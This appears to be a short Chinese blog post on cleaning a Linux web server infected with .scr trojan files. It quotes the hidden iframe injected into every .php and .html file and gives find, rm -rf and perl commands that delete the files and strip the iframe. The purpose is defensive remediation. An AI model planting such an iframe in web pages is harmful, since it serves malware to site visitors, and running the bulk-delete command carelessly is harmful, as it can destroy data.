突然發(fā)現(xiàn)Linux服務(wù)器上應(yīng)用無法訪問，報500錯誤，登錄查看后發(fā)現(xiàn)磁盤被刷滿了。

1、被掛馬后服務(wù)器的情況

1. 每個目錄都是Photo.scr、Video.scr等文件；
2. 每個程序文件中（.php,.html）文件都被加入惡意代碼
   <iframe src=Photo.scr width=1 height=1 frameborder=0>

2、找了資料發(fā)現(xiàn)大家的解決方案分兩步（如果是Windows系統(tǒng)自行百度）：

1. 刪除木馬文件，在網(wǎng)站代碼目錄執(zhí)行刪除命令(自行修改目錄和文件名稱)：
   sudo find /data/web/ -type f -name "Video.scr" -print -exec rm -rf {} \;
2. 刪除每個程序文件中的惡意代碼(根據(jù)自己應(yīng)用的類型修改后綴名)：

`find /data/web/ -name '*.php' | xargs perl -pi -e 's|<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>||g'` `find /data/web/ -name '*.html' | xargs perl -pi -e 's|<iframe src=Photo.scr width=1 height=1 frameborder=0></iframe>||g'`